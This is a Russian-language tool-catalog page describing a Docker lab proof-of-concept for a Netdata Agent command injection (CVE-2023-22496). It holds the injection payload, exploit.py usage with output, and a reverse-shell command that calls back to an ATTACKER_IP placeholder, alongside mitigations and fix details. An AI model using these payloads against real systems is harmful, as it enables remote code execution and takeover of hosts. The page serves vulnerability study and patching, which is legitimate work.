Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-22496-PoC — PoC для CVE-2023-22496: Netdata Agent <1.37 - Внедрение команд ОС через registry_hostname | Kitploit
Инструменты/GitHubGitHub/jstjep00/cve-2023-22496-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийКомандование и УправлениеОбучение и ОбразованиеЛаборатории и Практика
GitHubjstjep00/cve-2023-22496-poc

CVE-2023-22496-PoC

PoC для CVE-2023-22496: Netdata Agent <1.37 - Внедрение команд ОС через registry_hostname

Репозиторий
132 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-22496 — Внедрение команд ОС в Netdata Agent (PoC)

Критичность: Критический (CVSS 9.8)
Затронуто: Netdata Agent < 1.37.0
Исправлено в: v1.37.0
Тип: Внедрение команд ОС (CWE-78)


Обзор

CVE-2023-22496 — это уязвимость внедрения команд ОС в системе уведомлений о предупреждениях Netdata. registry_hostname любого узла в цепочке потоковой передачи вставляется в команду оболочки без очистки. Злоумышленник, который может установить registry hostname в файле конфигурации Netdata, может добиться удаленного выполнения кода от имени пользователя процесса netdata на любом родительском узле, обрабатывающем предупреждение.


Детали уязвимости

Уязвимый код —

health/health.c
root@kitploit:~
static inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
    ...
    char cmd[LEN + 1];
    snprintfz(cmd, LEN,
        "exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
        exec,                        // alarm-notify.sh
        recipient,                   // e.g. "root"
        host->registry_hostname,     // ← NO SANITISATION — attacker-controlled
        ae->name,
        ...
    );
    ae->exec_code = spawn_enq_cmd(cmd);   // run via /bin/sh
    ...
}

spawn_enq_cmd передает строку в /bin/sh -c, который выполняет ее как команду оболочки. Поскольку registry_hostname никогда не очищается, злоумышленник может внедрить произвольные команды оболочки.

Обход: замена процесса exec

Наивное внедрение `'; cmd; '` не срабатывает, потому что встроенная команда exec заменяет текущий процесс оболочки, поэтому внедренная ;cmd; никогда не выполняется.

Рабочий обход — используйте & (оператор фона):

root@kitploit:~
# What Netdata builds after injection:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...

# Execution flow:
#   exec alarm-notify.sh 'root' 'x' &   → runs in background; shell stays alive
#   touch /tmp/pwned &                   → shell evaluates this; file created
#   #                                    → rest is a comment; ignored

Цепочка атаки через потоковую передачу

root@kitploit:~
┌──────────────┐  stream  ┌──────────────┐  stream  ┌──────────────────────┐
│  agent_child │ ───────▶ │ agent_middle │ ───────▶ │   agent_parent       │
│  (attacker)  │          │  (relay)     │          │   (victim / target)  │
└──────────────┘          └──────────────┘          └──────────────────────┘
                                                            │
                                              health_alarm_execute() fires
                                              with injected registry_hostname
                                              → RCE on agent_parent

Злоумышленнику достаточно контролировать любой узел в цепочке потоковой передачи. registry_hostname распространяется в протоколе потока и используется дословно каждым родительским узлом при вызове health_alarm_execute.


Структура репозитория

root@kitploit:~
CVE-2023-22496-PoC/
├── Dockerfile              # Собирает netdata-vuln:v1.36.1 из исходников
├── docker-compose.yaml     # Уязвимая среда потоковой передачи из 3 узлов
├── exploit.py              # Автономный скрипт эксплойта
├── config/
│   ├── parent_netdata.conf # Конфигурация родителя (доступна для записи — эксплойт перезаписывает её)
│   ├── parent_stream.conf  # Родитель принимает потоки и обрабатывает предупреждения
│   ├── parent_guid         # Фиксированный GUID узла
│   ├── middle_netdata.conf # Промежуточная конфигурация ретранслятора
│   ├── middle_stream.conf
│   ├── middle_guid
│   ├── child_netdata.conf  # Конфигурация отправляющего дочернего узла
│   ├── child_stream.conf
│   └── child_guid
└── README.md

Быстрый старт

Предварительные требования

  • Docker ≥ 20.10
  • Docker Compose v2 (docker compose)
  • Python 3.8+
  • ~500 МБ дискового пространства (сборка образа)
  • Доступ в Интернет для сборки Docker (загружает исходники Netdata v1.36.1)

Шаг 1 — Сборка уязвимого Docker-образа

root@kitploit:~
git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC

# Build takes ~5–15 min (compiles Netdata from source)
docker build -t netdata-vuln:v1.36.1 .

Шаг 2 — Запуск уязвимой среды из 3 узлов

root@kitploit:~
docker compose up -d

Подождите ~15 секунд для инициализации Netdata, затем проверьте:

root@kitploit:~
# Parent web UI should return HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# Expected: "version": "v1.36.1-..."

Шаг 3 — Запуск эксплойта

root@kitploit:~
# Default: create /tmp/pwned on the target (agent_parent)
python3 exploit.py "touch /tmp/pwned"

# Verify
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned

Ожидаемый вывод:

root@kitploit:~
======================================================================
  CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
  Shell command : 'touch /tmp/pwned'
  Injected host : "x' & touch /tmp/pwned & #"

[*] Pre-flight: verifying Docker environment
  [*] All 3 containers are running.

[*] Step 1: Writing injected netdata.conf for agent_parent
    Written: config/parent_netdata.conf
    registry hostname = "x' & touch /tmp/pwned & #"

[*] Step 2: Restarting agent_parent to load injected config
    ...
    agent_parent is up and responding.

[*] Step 3: Waiting 65s for a disk_space WARNING alarm

[*] Step 4: Checking for command execution evidence

======================================================================
  ✅  SUCCESS — CVE-2023-22496 CONFIRMED
  '/tmp/pwned' exists on agent_parent
======================================================================

Пример обратной оболочки

root@kitploit:~
# On your listener machine:
nc -lvnp 4444

# Run exploit (replace ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Пользовательская команда

root@kitploit:~
python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)

Остановка и очистка

root@kitploit:~
# Stop and remove containers + volumes
docker compose down -v

# Remove the image
docker rmi netdata-vuln:v1.36.1

Меры по снижению риска

ДействиеОписание
ОбновлениеОбновите Netdata Agent до версии ≥ v1.37.0
ОграничениеОграничьте доступ на запись к netdata.conf
СетьИзолируйте порты потоковой передачи (19999/tcp) только для доверенных сетей
Проверкаnetdata --version — убедитесь, что вы не используете версию ниже 1.37

Исправление в версии 1.37.0 очищает registry_hostname, отклоняя любые символы вне диапазона [a-zA-Z0-9._-] перед вставкой в команду оболочки.


Ссылки

  • NVD — CVE-2023-22496
  • GitHub Security Advisory GHSA-qxg7-jvq3-7x6h
  • Коммит исправления Netdata
  • Релиз Netdata v1.37.0

Отказ от ответственности

Этот репозиторий предоставлен только для образовательных и авторизованных целей исследования безопасности. Запуск этого PoC против систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения, является незаконным. Авторы не несут ответственности за неправомерное использование.

Скачать инструмент